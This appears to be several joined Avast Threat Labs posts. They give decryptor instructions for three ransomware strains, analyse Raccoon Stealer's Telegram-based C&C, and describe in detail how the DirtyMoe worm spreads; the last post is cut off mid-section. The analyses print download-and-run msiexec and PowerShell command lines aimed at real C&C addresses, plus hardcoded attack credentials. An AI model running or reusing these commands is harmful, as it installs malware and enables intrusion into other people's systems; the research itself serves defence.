The personal ID, mentioned in the file, is the first six bytes of the personal_id, stored in each encrypted file.

How to use the Avast decryptor to recover files

To decrypt your files, please, follow these steps:

1. Download the free Avast decryptor. Choose a build that corresponds with your Windows installation. The 64-bit version is significantly faster and most of today’s Windows installations are 64-bit.
   • If you have 64-bit Windows, choose the 64-bit build.
   • If you have 32-bit Windows, choose the 32-bit build.
2. Simply run the executable file. It starts in the form of a wizard, which leads you through the configuration of the decryption process.
3. On the initial page, you can read the license information, if you want, but you really only need to click “Next”

4. On the next page, select the list of locations which you want to be searched and decrypted. By default, it contains a list of all local drives:
   

5. On the third page, you need to enter the name of a file encrypted by the TargetCompany ransomware. In case you have an encryption password created by a previous run of the decryptor, you can select the “I know the password for decrypting files” option:

6. The next page is where the password cracking process takes place. Click “Start” when you are ready to start the process. During password cracking, all your available processor cores will spend most of their computing power to find the decryption password. The cracking process may take a large amount of time, up to tens of hours. The decryptor periodically saves the progress and if you interrupt it and restart the decryptor later, it offers you an option to resume the previously started cracking process. Password cracking is only needed once per PC – no need to do it again for each file.

7. When the password is found, you can proceed to the decryption of files on your PC by clicking “Next”.

8. On the final wizard page, you can opt-in whether you want to backup encrypted files. These backups may help if anything goes wrong during the decryption process. This option is turned on by default, which we recommend. After clicking “Decrypt”, the decryption process begins. Let the decryptor work and wait until it finishes.

IOCs

SHA256	File Extension
98a0fe90ef04c3a7503f2b700415a50e62395853bd1bab9e75fbe75999c0769e	.mallox
3f843cbffeba010445dae2b171caaa99c6b56360de5407da71210d007fe26673	.exploit
af723e236d982ceb9ca63521b80d3bee487319655c30285a078e8b529431c46e	.architek
e351d4a21e6f455c6fca41ed4c410c045b136fa47d40d4f2669416ee2574124b	.brg

The post Decrypted: TargetCompany Ransomware appeared first on Avast Threat Labs.

On February 24th, the Avast Threat Labs discovered a new ransomware strain accompanying the data wiper HermeticWiper malware,  which our colleagues at ESET found circulating in the Ukraine. Following this naming convention, we opted to name the strain we found piggybacking on the wiper, HermeticRansom. According to analysis done by Crowdstrike’s Intelligence Team, the ransomware contains a weakness in the crypto schema and can be decrypted for free.

If your device has been infected with HermeticRansom and you’d like to decrypt your files, click here to skip to the How to use the Avast decryptor to recover files

Go!

The ransomware is written in GO language. When executed, it searches local drives and network shares for potentially valuable files, looking for  files with one of the extensions listed below (the order is taken from the sample):

.docx .doc .dot .odt .pdf .xls .xlsx .rtf .ppt .pptx .one.xps .pub .vsd .txt .jpg .jpeg .bmp .ico .png .gif .sql.xml .pgsql .zip .rar .exe .msi .vdi .ova .avi .dip .epub.iso .sfx .inc .contact .url .mp3 .wmv .wma .wtv .avi .acl.cfg .chm .crt .css .dat .dll .cab .htm .html .encryptedjb

In order to keep the victim’s PC operational, the ransomware avoids encrypting files in Program Files and Windows folders.

For every file designated for encryption, the ransomware creates a 32-byte encryption key. Files are encrypted by blocks, each block has 1048576 (0x100000) bytes. A maximum of nine blocks are encrypted. Any data past 9437184 bytes (0x900000) is left in plain text. Each block is encrypted by AES GCM symmetric cipher. After data encryption, the ransomware appends a file tail, containing the RSA-2048 encrypted file key. The public key is stored in the binary as a Base64 encoded string:

Encrypted file names are given extra suffix:

.[[email protected]].encryptedJB

When done, a file named “read_me.html” is saved to the user’s Desktop folder:

There is an interesting amount of politically oriented strings in the ransomware binary. In addition to the file extension, referring to the re-election of Joe Biden in 2024, there is also a reference to him in the project name:

During the execution, the ransomware creates a large amount of child processes, that do the actual encryption:

How to use the Avast decryptor to recover files

To decrypt your files, please, follow these steps:

1. Download the free Avast decryptor.
2. Simply run the executable file. It starts in the form of a wizard, which leads you through the configuration of the decryption process.
3. On the initial page, you can read the license information, if you want, but you really only need to click “Next“

4. On the next page, select the list of locations which you want to be searched and decrypted. By default, it contains a list of all local drives:

5. On the final wizard page, you can opt-in whether you want to backup encrypted files. These backups may help if anything goes wrong during the decryption process. This option is turned on by default, which we recommend. After clicking “Decrypt”, the decryption process begins. Let the decryptor work and wait until it finishes.

IOCs

SHA256: 4dc13bb83a16d4ff9865a51b3e4d24112327c526c1392e14d56f20d6f4eaf382

The post Help for Ukraine: Free decryptor for HermeticRansom ransomware appeared first on Avast Threat Labs.

Avast Releases Decryptor for the Prometheus Ransomware. Prometheus is a ransomware strain written in C# that inherited a lot of code from an older strain called Thanos.

Skip to how to use the Prometheus ransomware decryptor. 

How Prometheus Works

Prometheus tries to thwart malware analysis by killing various processes like packet sniffing, debugging or tools for inspecting PE files. Then, it generates a random password that is used during the Salsa20 encryption. 

Prometheus looks for available local drives to encrypt files that have one of the following  extensions:

db dbf accdb dbx mdb mdf epf ndf ldf 1cd sdf nsf fp7 cat log dat txt jpeg gif jpg png php cs cpp rar zip html htm xlsx xls avi mp4 ppt doc docx sxi sxw odt hwp tar bz2 mkv eml msg ost pst edb sql odb myd php java cpp pas asm key pfx pem p12 csr gpg aes vsd odg raw nef svg psd vmx vmdk vdi lay6 sqlite3 sqlitedb java class mpeg djvu tiff backup pdf cert docm xlsm dwg bak qbw nd tlg lgb pptx mov xdw ods wav mp3 aiff flac m4a csv sql ora dtsx rdl dim mrimg qbb rtf 7z 

Encrypted files are given a new extension .[ID-<PC-ID>].unlock. After the encryption process is completed, Notepad is executed with a ransom note from the file UNLOCK_FILES_INFO.txt informing victims on how to pay the ransom if they want to decrypt their files.

How to use the Avast decryptor to decrypt files encrypted by Prometheus Ransomware

To decrypt your files, follow these steps:

1. Download the free Avast decryptor.
2. Run the executable file. It starts in the form of a wizard, which leads you through the configuration of the decryption process.
3. On the initial page, you can read the license information, if you want, but you really only need to click “Next”.

4. On the next page, select the list of locations you want to be searched and decrypted. By default, it contains a list of all local drives:

5. On the third page, you need to provide a file in its original form and encrypted by the Prometheus ransomware. Enter both names of the files. In case you have an encryption password created by a previous run of the decryptor, you can select the “I know the password for decrypting files” option:

6. The next page is where the password cracking process takes place. Click “Start” when you are ready to start the process. During the password cracking process, all your available processor cores will spend most of their computing power to find the decryption password. The cracking process may take a large amount of time, up to tens of hours. The decryptor periodically saves the progress and if you interrupt it and restart the decryptor later, it offers you the option to resume the previously started cracking process. Password cracking is only needed once per PC – no need to do it again for each file.

7. When the password is found, you can proceed to decrypt all encrypted files on your PC by clicking “Next”.

8. On the final page, you can opt-in to backup encrypted files. These backups may help if anything goes wrong during the decryption process. This option is turned on by default, which we recommend. After clicking “Decrypt”, the decryption process begins. Let the decryptor work and wait until it finishes decrypting all of your files.

IOCs

SHA256	File Extension
742bc4e78c36518f1516ece60b948774990635d91d314178a7eae79d2bfc23b0	.[ID-<HARDWARE_ID>].unlock

The post Decrypted: Prometheus Ransomware appeared first on Avast Threat Labs.

We recently came across a stealer, called Raccoon Stealer, a name given to it by its author. Raccoon Stealer uses the Telegram infrastructure to store and update actual C&C addresses. 

Raccoon Stealer is a password stealer capable of stealing not just passwords, but various types of data, including:

• Cookies, saved logins and forms data from browsers
• Login credentials from email clients and messengers
• Files from crypto wallets
• Data from browser plugins and extension
• Arbitrary files based on commands from C&C

In addition, it’s able to download and execute arbitrary files by command from its C&C. In combination with active development and promotion on underground forums, Raccoon Stealer is prevalent and dangerous.

The oldest samples of Raccoon Stealer we’ve seen have timestamps from the end of April 2019. Its authors have stated the same month as the start of selling the malware on underground forums. Since then, it has been updated many times. According to its authors, they fixed bugs, added features, and more.

Distribution

We’ve seen Raccoon distributed via downloaders: Buer Loader and GCleaner. According to some samples, we believe it is also being distributed in the form of fake game cheats, patches for cracked software (including hacks and mods for Fortnite, Valorant, and NBA2K22), or other software. Taking into account that Raccoon Stealer is for sale, it’s distribution techniques are limited only by the imagination of the end buyers. Some samples are spread unpacked, while some are protected using Themida or malware packers. Worth noting is that some samples were packed more than five times in a row with the same packer! 

Technical details

Raccoon Stealer is written in C/C++ and built using Visual Studio. Samples have a size of about 580-600 kB. The code quality is below average, some strings are encrypted, some are not.

Once executed, Racoon Stealer starts checking for the default user locale set on the infected device and won’t work if it’s one of the following:

• Russian
• Ukrainian
• Belarusian
• Kazakh
• Kyrgyz
• Armenian
• Tajik
• Uzbek

C&C communications

The most interesting thing about this stealer is its communication with C&Cs. There are four values crucial for its C&C communication, which are hardcoded in every Raccoon Stealer sample:

• MAIN_KEY. This value has been changed four times during the year.
• URLs of Telegram gates with channel name. Gates are used not to implement a complicated Telegram protocol and not to store any credentials inside samples
• BotID – hexadecimal string, sent to the C&C every time
• TELEGRAM_KEY – a key to decrypt the C&C address obtained from Telegram Gate

Let’s look at an example to see how it works:
447c03cc63a420c07875132d35ef027adec98e7bd446cf4f7c9d45b6af40ea2b unpacked to:
f1cfcce14739887cc7c082d44316e955841e4559ba62415e1d2c9ed57d0c6232:

1. First of all, MAIN_KEY is decrypted. See the decryption code in the image below:

In this example, the MAIN_KEY is jY1aN3zZ2j. This key is used to decrypt Telegram Gates URLs and BotID.

2. This example decodes and decrypts Telegram Gate URLs. It is stored in the sample as: Rf66cjXWSDBo1vlrnxFnlmWs5Hi29V1kU8o8g8VtcKby7dXlgh1EIweq4Q9e3PZJl3bZKVJok2GgpA90j35LVd34QAiXtpeV2UZQS5VrcO7UWo0E1JOzwI0Zqrdk9jzEGQIEzdvSl5HWSzlFRuIjBmOLmgH/V84PCRFevc40ZuTAZUq+q1JywL+G/1xzXQdYZiKWea8ODgaN+4B8cT3AqbHmY5+6MHEBWTqTsITPAxKdPMu3dC9nwdBF3nlvmX4/q/gSPflYF7aIU1wFhZxViWq2
   After decoding Base64 it has this form:
   

Decrypting this binary data with RC4 using MAIN_KEY gives us a string with Telegram Gates:

3. The stealer has to get it’s real C&C. To do so, it requests a Telegram Gate, which returns an HTML-page:
   

Here you can see a Telegram channel name and its status in Base64: e74b2mD/ry6GYdwNuXl10SYoVBR7/tFgp2f-v32
The prefix (always five characters) and postfix (always six characters) are removed and it becomes mD/ry6GYdwNuXl10SYoVBR7/tFgp The Base64 is then decoded to obtain an encrypted C&C URL:

The TELEGRAM_KEY in this sample is a string 739b4887457d3ffa7b811ce0d03315ce and the Raccoon uses it as a key to RC4 algorithm to finally decrypt the C&C URL: http://91.219.236[.]18/

4. Raccoon makes a query string with PC information (machine GUID and user name), and BotID
5. Query string is encrypted with RC4 using a MAIN_KEY and then encoded with Base64.
6. This data is sent using POST to the C&C, and the response is encoded with Base64 and encrypted with the MAIN_KEY. Actually, it’s a JSON with a lot of parameters and it looks like this:

Thus, the Telegram infrastructure is used to store and update actual C&C addresses. It looks quite convenient and reliable until Telegram decides to take action. 

Analysis

The people behind Raccoon Stealer

Based on our analysis of seller messages on underground forums, we can deduce some information about the people behind the malware. Raccoon Stealer was developed by a team, some (or maybe all) members of the team are Russian native speakers. Messages on the forum are written in Russian, and we assume they are from former USSR countries because they try to prevent the Stealer from targeting users in these countries.

Possible names/nicknames of group members may be supposed based on the analysis of artifacts, found in samples:

• C:\Users\a13xuiop1337\
• C:\Users\David\ 

Prevalence

Raccoon Stealer is quite prevalent: from March 3, 2021 - February 17, 2022 our systems detected more than 25,000 Raccoon-related samples. We identified more than 1,300 distinct configs during that period.

Here is a map, showing the number of systems Avast protected from Raccoon Stealer from March 3, 2021 - February 17, 2022. In this time frame, Avast protected nearly 600,000 Raccoon Stealer attacks.

The country where we have blocked the most attempts is Russia, which is interesting because the actors behind the malware don’t want to infect computers in Russia or Central Asia. We believe the attacks spray and pray, distributing the malware around the world. It’s not until it makes it onto a system that it begins checking for the default locale. If it is one of the language listed above, it won’t run. This explains why we detected so many attack attempts in Russia, we block the malware before it can run, ie. before it can even get to the stage where it checks for the device’s locale. If an unprotected device that comes across the malware with its locale set to English or any other language that is not on the exception list but is in Russia, it would stiIl become infected. 

Telegram Channels

From the more than 1,300 distinct configs we extracted, 429 of them are unique Telegram channels. Some of them were used only in a single config, others were used dozens of times. The most used channels were:

• jdiamond13 – 122 times
• jjbadb0y – 44 times
• nixsmasterbaks2 – 31 times
• hellobyegain – 25 times
• h_smurf1kman_1  – 24 times

Thus, five of the most used channels were found in about 19% of configs.

Malware distributed by Raccoon

As was previously mentioned, Raccoon Stealer is able to download and execute arbitrary files from a command from C&C. We managed to collect some of these files. We collected 185 files, with a total size 265 Mb, and some of the groups are:

• Downloaders – used to download and execute other files
• Clipboard crypto stealers – change crypto wallet addresses in the clipboard – very popular (more than 10%)
• WhiteBlackCrypt Ransomware

Servers used to download this software

We extracted unique links to other malware from Raccoon configs received from C&Cs, it was 196 unique URLs. Some analysis results:

• 43% of URLs have HTTP scheme, 57% – HTTPS.
• 83 domain names were used.
• About 20% of malware were placed on Discord CDN
• About 10% were served from aun3xk17k[.]space

Conclusion

We will continue to monitor Raccoon Stealer’s activity, keeping an eye on new C&Cs, Telegram channels, and downloaded samples. We predict it may be used wider by other cybercrime groups. We assume the group behind Raccoon Stealer will further develop new features, including new software to steal data from, for example, as well as bypass protection this software has in place.

IoC

447c03cc63a420c07875132d35ef027adec98e7bd446cf4f7c9d45b6af40ea2b
f1cfcce14739887cc7c082d44316e955841e4559ba62415e1d2c9ed57d0c6232

The post Raccoon Stealer: “Trash panda” abuses Telegram appeared first on Avast Threat Labs.

The DirtyMoe malware is deployed using various kits like PurpleFox or injected installers of Telegram Messenger that require user interaction. Complementary to this deployment, one of the DirtyMoe modules expands the malware using worm-like techniques that require no user interaction.

This research analyzes this worming module’s kill chain and the procedures used to launch/control the module through the DirtyMoe service. Other areas investigated include evaluating the risk of identified exploits used by the worm and detailed analysis of how its victim selection algorithm works. Finally, we examine this performance and provide a thorough examination of the entire worming workflow.

The analysis showed that the worming module targets older well-known vulnerabilities, e.g., EternalBlue and Hot Potato Windows Privilege Escalation. Another important discovery is a dictionary attack using Service Control Manager Remote Protocol (SCMR), WMI, and MS SQL services. Finally, an equally critical outcome is discovering the algorithm that generates victim target IP addresses based on the worming module’s geographical location.

One worm module can generate and attack hundreds of thousands of private and public IP addresses per day; many victims are at risk since many machines still use unpatched systems or weak passwords. Furthermore, the DirtyMoe malware uses a modular design; consequently, we expect other worming modules to be added to target prevalent vulnerabilities.

1. Introduction

DirtyMoe, the successful malware we documented in detail in the previous series, also implements mechanisms to reproduce itself. The most common way of deploying the DirtyMoe malware is via phishing campaigns or malvertising. In this series, we will focus on techniques that help DirtyMoe to spread in the wild.

The PurpleFox exploit kit (EK) is the most frequently observed approach to deploy DirtyMoe; the immediate focus of PurpleFox EK is to exploit a victim machine and install DirtyMoe. PurpleFox EK primarily abuses vulnerabilities in the Internet Explorer browser via phishing emails or popunder ads. For example, Guardicore described a worm spread by PurpleFox that abuses SMB services with weak passwords [2], infiltrating poorly secured systems. Recently, Minerva Labs has described the new infection vector installing DirtyMoe via an injected Telegram Installer [1].

Currently, we are monitoring three approaches used to spread DirtyMoe in the wild; Figure 1 illustrates the relationship between the individual concepts. The primary function of the DirtyMoe malware is crypto-mining; it is deployed to victims’ machines using different techniques. We have observed PurpleFox EK, PurleFox Worm, and injected Telegram Installers as mediums to spread and install DirtyMoe; we consider it highly likely that other mechanisms are used in the wild.

In the fourth series on this malware family, we described the deployment of the DirtyMoe service. Figure 2 illustrates the DirtyMoe hierarchy. The DirtyMoe service is run as a svchost process that starts two other processes: DirtyMoe Core and Executioner, which manages DirtyMoe modules. Typically, the executioner loads two modules; one for Monero mining and the other for worming replication.

Our research has been focused on worming since it seems that worming is one of the main mediums to spread the DirtyMoe malware. The PurpleFox worm described by Guardicore [2] is just the tip of the worming iceberg because DirtyMoe utilizes sophisticated algorithms and methods to spread itself into the wild and even to spread laterally in the local network.

The goal of the DirtyMoe worm is to exploit a target system and install itself into a victim machine. The DirtyMoe worm abuses several known vulnerabilities as follow:

• CVE:2019-9082: ThinkPHP – Multiple PHP Injection RCEs
• CVE:2019-2725: Oracle Weblogic Server – ‘AsyncResponseService’ Deserialization RCE
• CVE:2019-1458: WizardOpium Local Privilege Escalation
• CVE:2018-0147: Deserialization Vulnerability
• CVE:2017-0144: EternalBlue SMB Remote Code Execution (MS17-010)
• MS15-076: RCE Allow Elevation of Privilege (Hot Potato Windows Privilege Escalation)
• Dictionary attacks to MS SQL Servers, SMB, and Windows Management Instrumentation (WMI)

The prevalence of DirtyMoe is increasing in all corners of the world; this may be due to the DirtyMoe worm’s strategy of generating targets using a pseudo-random IP generator that considers the worm’s geological and local location. A consequence of this technique is that the worm is more flexible and effective given its location. In addition, DirtyMoe can be expanded to machines hidden behind NAT as this strategy also provides lateral movement in local networks. A single DirtyMoe instance can generate and attack up to 6,000 IP addresses per second.

The insidiousness of the whole worm’s design is its modularization controlled by C&C servers. For example, DirtyMoe has a few worming modules targeting a specific vulnerability, and C&C determines which worming module will be applied based on information sent by a DirtyMoe instance.

The DirtyMoe worming module implements three basic phases common to all types of vulnerabilities. First, the module generates a list of IP addresses to target in the initial phase. Then, the second phase attacks specific vulnerabilities against these targets. Finally, the module performs dictionary attacks against live machines represented by the randomly generated IP addresses. The most common modules that we have observed are SMB and SQL.

This article focuses on the DirtyMoe worming module. We analyze and discuss the worming strategy, which exploits are abused by the malware author, and a module behavior according to geological locations. One of the main topics is the performance of IP address generation, which is crucial for the malware’s success. We are also looking for specific implementations of abused exploits, including their origins.

2. Worm Kill Chain

We can describe the general workflow of the DirtyMoe worming module through the kill chain. Figure 3 illustrates stages of the worming workflow.

Reconnaissance
The worming module generates targets at random but also considers the geolocation of the module. Each generated target is tested for the presence of vulnerable service versions; the module connects to the specific port where attackers expect vulnerable services and verifies whether the victim’s machine is live. If the verification is successful, the worming module collects basic information about the victim’s OS and versions of targeted services.

Weaponization
The C&C server appears to determine which specific module is used for worming without using any victim’s information. Currently, we do not precisely know what algorithm is used for module choice but suspect it depends on additional information sent to the C&C server.

When the module verifies that a targeted victim’s machine is potentially exploitable, an appropriate payload is prepared, and an attack is started. The payload must be modified for each attack since a remote code execution (RCE) command is valid only for a few minutes.

Delivery
In this kill chain phase, the worming module sends the prepared payload. The payload delivery is typically performed using protocols of targeted services, e.g., SMB or MS SQL protocols.

Exploitation and Installation
If the payload is correct and the victim’s machine is successfully exploited, the RCE command included in the payload is run. Consequently, the DirtyMoe malware is deployed, as was detailed in the previous article (DirtyMoe: Deployment).

3. RCE Command

The main goal of the worming module is to achieve RCE under administrator privileges and install a new DirtyMoe instance. The general form of the executed command (@RCE@) is the same for each worming module:
Cmd /c for /d %i in (@WEB@) do Msiexec /i http://%i/@FIN@ /Q

The command usually iterates through three IP addresses of C&C servers, including ports. IPs are represented by the placeholder @WEB@ filled on runtime. Practically, @WEB@ is regenerated for each payload sent since the IPs are rotated every minute utilizing sophisticated algorithms; this was described in Section 2 of the first blog.

The second placeholder is @FIN@ representing the DirtyMoe object’s name; this is, in fact, an MSI installer package. The package filename is in the form of a hash – [A-F0-9]{8}\.moe. The hash name is generated using a hardcoded hash table, methods for rotations and substrings, and by the MS_RPC_<n> string, where n is a number determined by the DirtyMoe service.

The core of the @RCE@ command is the execution of the remote DirtyMoe object (http://) via msiexec in silent mode (/Q). An example of a specific @RCE@ command is:
Cmd /c for /d %i in (45.32.127.170:16148 92.118.151.102:19818 207.246.118.120:11410) do Msiexec /i http://%i/6067C695.moe /Q

4. IP Address Generation

The key feature of the worming module is the generation of IP addresses (IPs) to attack. There are six methods used to generate IPs with the help of a pseudo-random generator; each method focuses on a different IPv4 Class. Accordingly, this factor contributes to the globally uniform distribution of attacked machines and enables the generation of more usable IP addresses to target.

4.1 Class B from IP Table

The most significant proportion of generated addresses is provided by 10 threads generating IPs using a hardcoded list of 24,622 items. Each list item is in form 0xXXXX0000, representing IPs of Class B. Each thread generates IPs based on the algorithms as follows:

The algorithm randomly selects a Class B address from the list and 65,536 times generates an entirely random number that adds to the selected Class B addresses. The effect is that the final IP address generated is based on the geological location hardcoded in the list.

Figure 4 shows the geological distribution of hardcoded addresses. The continent distribution is separated into four parts: Asia, North America, Europe, and others (South America, Africa, Oceania). We verified this approach and generated 1M addresses using the algorithm. The result has a similar continental distribution. Hence, the implementation ensures that the IP addresses distribution is uniform.

4.2 Fully Random IP

The other three threads generate completely random IPs, so the geological position is also entirely random. However, the full random IP algorithm generates low classes more frequently, as shown in the algorithm below.

4.3 Derived Classes A, B, C

Three other algorithms generate IPs based on an IP address of a machine (IPm) where the worming module runs. Consequently, the worming module targets machines in the nearby surroundings.

Addresses are derived from the IPm masked to the appropriate Class A/B/C, and a random number representing the lower Class is added; as shown in the following pseudo-code.

4.4 Derived Local IPs

The last IP generating method is represented by one thread that scans interfaces attached to local networks. The worming module lists local IPs using gethostbyname() and processes one local address every two hours.

Each local IP is masked to Class C, and 255 new local addresses are generated based on the masked address. As a result, the worming module attacks all local machines close to the infected machine in the local network.

5. Attacks to Abused Vulnerabilities

We have detected two worming modules which primarily attack SMB services and MS SQL databases. Our team has been lucky since we also discovered something rare: a worming module containing exploits targeting PHP, Java Deserialization, and Oracle Weblogic Server that was still under development. In addition, the worming modules include a packed dictionary of 100,000-words used with dictionary attacks.

5.1 EternalBlue

One of the main vulnerabilities is CVE:2017-0144: EternalBlue SMB Remote Code Execution (patched by Microsoft in MS17-010). It is still bewildering how many EternalBlue attacks are still observed – Avast is still blocking approximately 20 million attempts for the EternalBlue attack every month.

The worming module focuses on the Windows version from Windows XP to Windows 8. We have identified that the EternalBlue implementation is the same as described in exploit-db [3], and an effective payload including the @RCE@ command is identical to DoublePulsar [4]. Interestingly, the whole EternalBlue payload is hardcoded for each Windows architecture, although the payload can be composed for each platform separately.

5.2 Service Control Manager Remote Protocol

No known vulnerability is used in the case of Service Control Manager Remote Protocol (SCMR) [5]. The worming module attacks SCMR through a dictionary attack. The first phase is to guess an administrator password. The details of the dictionary attack are described in Section 6.4.

If the dictionary attack is successful and the module guesses the password, a new Windows service is created and started remotely via RPC over the SMB service. Figure 5 illustrates the network communication of the attack. Binding to the SCMR is identified using UUID {367ABB81-9844-35F1-AD32- 98F038001003}. On the server-side, the worming module as a client writes commands to the \PIPE\svcctl pipe. The first batch of commands creates a new service and registers a command with the malicious @RCE@ payload. The new service is started and is then deleted to attempt to cover its tracks.

The Microsoft HTML Application Host (mshta.exe) is used as a LOLbin to execute and create ShellWindows and run @RCE@. The advantage of this proxy execution is that mshta.exe is typically marked as trusted; some defenders may not detect this misuse of mshta.exe.

Windows Event records these suspicious events in the System log, as shown in Figure 6. The service name is in the form AC<number>, and the number is incremented for each successful attack. It is also worth noting that ImagePath contains the @RCE@ command sent to SCMR in BinaryPathName, see Figure 5.

5.3 Windows Management Instrumentation

The second method that does not misuse any known vulnerability is a dictionary attack to Windows Management Instrumentation (WMI). The workflow is similar to the SCMR attack. Firstly, the worming module must also guess the password of a victim administrator account. The details of the dictionary attack are described in Section 6.4.

The attackers can use WMI to manage and access data and resources on remote computers [6]. If they have an account with administrator privileges, full access to all system resources is available remotely.

The malicious misuse lies in the creation of a new process that runs @RCE@ via a WMI script; see Figure 7. DirtyMoe is then installed in the following six steps:

1. Initialize the COM library.
2. Connect to the default namespace root/cimv2 containing the WMI classes for management.
3. The Win32_Process class is created, and @RCE@ is set up as a command-line argument.
4. Win32_ProcessStartup represents the startup configuration of the new process. The worming module sets a process window to a hidden state, so the execution is complete silently.
5. The new process is started, and the DirtyMoe installer is run.
6. Finally, the WMI script is finished, and the COM library is cleaned up.

5.4 Microsoft SQL Server

Attacks on Microsoft SQL Servers are the second most widespread attack in terms of worming modules. Targeted MS SQL Servers are 2000, 2005, 2008, 2012, 2014, 2016, 2017, 2019.

The worming module also does not abuse any vulnerability related to MS SQL. However, it uses a combination of the dictionary attack and MS15-076: “RCE Allow Elevation of Privilege” known as “Hot Potato Windows Privilege Escalation”. Additionally, the malware authors utilize the MS15-076 implementation known as Tater, the PowerSploit function Invoke-ReflectivePEInjection, and CVE-2019-1458: “WizardOpium Local Privilege Escalation” exploit.

The first stage of the MS SQL attack is to guess the password of an attacked MS SQL server. The first batch of username/password pairs is hardcoded. The malware authors have collected the hardcoded credentials from publicly available sources. It contains fifteen default passwords for a few databases and systems like Nette Database, Oracle, Firebird, Kingdee KIS, etc. The complete hardcoded credentials are as follows: 401hk/401hk_@_, admin/admin, bizbox/bizbox, bwsa/bw99588399, hbv7/zXJl@mwZ, kisadmin/ypbwkfyjhyhgzj, neterp/neterp, ps/740316, root/root, sp/sp, su/t00r_@_, sysdba/masterkey, uep/U_tywg_2008, unierp/unierp, vice/vice.

If the first batch is not successful, the worming module attacks using the hardcoded dictionary. The detailed workflow of the dictionary attack is described in Section 6.4.

If the module successfully guesses the username/password of the attacked MS SQL server, the module executes corresponding payloads based on the Transact-SQL procedures. There are five methods launched one after another.

1. sp_start_job
   The module creates, schedules, and immediately runs a task with Payload 1.
2. sp_makewebtask
   The module creates a task that produces an HTML document containing Payload 2.
3. sp_OAMethod
   The module creates an OLE object using the VBScript “WScript.Shell“ and runs Payload 3.
4. xp_cmdshell
   This method spawns a Windows command shell and passes in a string for execution represented by Payload 3.
5. Run-time Environment
   Payload 4 is executed as a .NET assembly.

In brief, there are four payloads used for the DirtyMoe installation. The SQL worming module defines a placeholder @SQLEXEC@ representing a full URL to the MSI installation package located in the C&C server. If any of the payloads successfully performed a privilege escalation, the DirtyMoe installation is silently launched via MSI installer; see our DirtyMoe Deployment blog post for more details.

Payload 1

The first payload tries to run the following PowerShell command:
powershell -nop -exec bypass -c "IEX $decoded; MsiMake @SQLEXEC@;"
where $decoded contains the MsiMake functions, as is illustrated in Figure 8. The function calls MsiInstallProduct function from msi.dll as a completely silent installation (INSTALLUILEVEL_NONE) but only if the MS SQL server runs under administrator privileges.

Payload 2

The second payload is used only for sp_makewebtask execution; the payload is written to the following autostart folders:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.hta
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\1.hta

Figure 9 illustrates the content of the 1.hta file camouflaged as an HTML file. It is evident that DirtyMoe may be installed on each Windows startup.

Payload 3

The last payload is more sophisticated since it targets the vulnerabilities and exploits mentioned above. Firstly, the worming module prepares a @SQLPSHELL@ placeholder containing a full URL to the DirtyMoe object that is the adapted version of the Tater PowerShell script.

The first stage of the payload is a powershell command:
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString(''@SQLPSHELL@''); MsiMake @SQLEXEC@"

The adapted Tater script implements the extended MsiMake function. The script attempts to install DirtyMoe using three different ways:

1. Install DirtyMoe via the MsiMake implementation captured in Figure 8.
2. Attempt to exploit the system using Invoke-ReflectivePEInjection with the following arguments:
   Invoke-ReflectivePEInjection -PEBytes $Bytes -ExeArgs $@RCE@ -ForceASLR
   where $Bytes is the implementation of CVE-2019-1458 that is included in the script.
3. The last way is installation via the Tater command:
   Invoke-Tater -Command $@RCE@

The example of Payload 3 is:
powershell -nop -exec bypass -c "IEX (New-ObjectNet. WebClient).DownloadString(
'http://108.61.184.105:20114/57BC9B7E.Png'); MsiMake http://108.61.184.105:20114/0CFA042F.Png

Payload 4

The attackers use .NET to provide a run-time environment that executes an arbitrary command under the MS SQL environment. The worming module defines a new assembly .NET procedure using Common Language Runtime (CLR), as Figure 10 demonstrates.

The .NET code of Payload 4 is a simple class defining a SQL procedure ExecCommand that runs a malicious command using the Process class; shown in Figure 11.

5.5 Development Module

We have discovered one worming module containing artifacts that indicate that the module is in development. This module does not appear to be widespread in the wild, and it may give insight into the malware authors’ future intentions. The module contains many hard-coded sections in different states of development; some sections do not hint at the @RCE@ execution.

PHP

CVE:2019-9082: ThinkPHP - Multiple PHP Injection RCEs.

The module uses the exact implementation published at [7]; see Figure 12. In short, a CGI script that verifies the ability of call_user_func_array is sent. If the verification is passed, the CGI script is re-sent with @RCE@.

Deserialization

CVE:2018-0147: Deserialization Vulnerability

The current module implementation executes a malicious Java class [8], shown in Figure 13, on an attacked server. The RunCheckConfig class is an executioner for accepted connections that include a malicious serializable object.

The module prepares the serializable object illustrated in Figure 14 that the RunCheckConfig class runs when the server accepts this object through the HTTP POST method.

The implementation that delivers the RunCheckConfig class into the attacked server abused the same vulnerability. It prepares a serializable object executing ObjectOutputStream, which writes the RunCheckConfig class into c:/windows/tmp. However, this implementation is not included in this module, so we assume that this module is still in development.

Oracle Weblogic Server

CVE:2019-2725: Oracle Weblogic Server - 'AsyncResponseService' Deserialization RCE

The module again exploits vulnerabilities published at [9] to send malicious SOAP payloads without any authentication to the Oracle Weblogic Server T3 interface, followed by sending additional SOAP payloads to the WLS AsyncResponseService interface.

SOAP
The SOAP request defines the WorkContext as java.lang.Runtime with three arguments. The first argument defines which executable should be run. The following arguments determine parameters for the executable. An example of the WorkContext is shown in Figure 15.

Hardcoded SOAP commands are not related to @RCE@; we assume that this implementation is also in development.

6. Worming Module Execution

The worming module is managed by the DirtyMoe service, which controls its configuration, initialization, and worming execution. This section describes the lifecycle of the worming module.

6.1 Configuration

The DirtyMoe service contacts one of the C&C servers and downloads an appropriate worming module into a Shim Database (SDB) file located at %windir%\apppatch\TK<volume-id>MS.sdb. The worming module is then decrypted and injected into a new svchost.exe process, as Figure 2 illustrates.

The encrypted module is a PE executable that contains additional placeholders. The DirtyMoe service passes configuration parameters to the module via these placeholders. This approach is identical to other DirtyMoe modules; however, some of the placeholders are not used in the case of the worming module.

The placeholders overview is as follows:

• @TaskGuid@: N/A in worming module
• @IPsSign@: N/A in worming module
• @RunSign@: Mutex created by the worming module that is controlled by the DirtyMoe service
• @GadSign@: ID of DirtyMoe instance registered in C&C
• @FixSign@: Type of worming module, e.g, ScanSmbHs5
• @InfSign@: Worming module configuration

6.2 Initialization

When the worming module, represented by the new process, is injected and resumed by the DirtyMoe service, the module initialization is invoked. Firstly, the module unpacks a word dictionary containing passwords for a dictionary attack. The dictionary consists of 100,000 commonly used passwords compressed using LZMA. Secondly, internal structures are established as follows:

IP Address Backlog
The module stores discovered IP addresses with open ports of interest. It saves the IP address and the timestamp of the last port check.

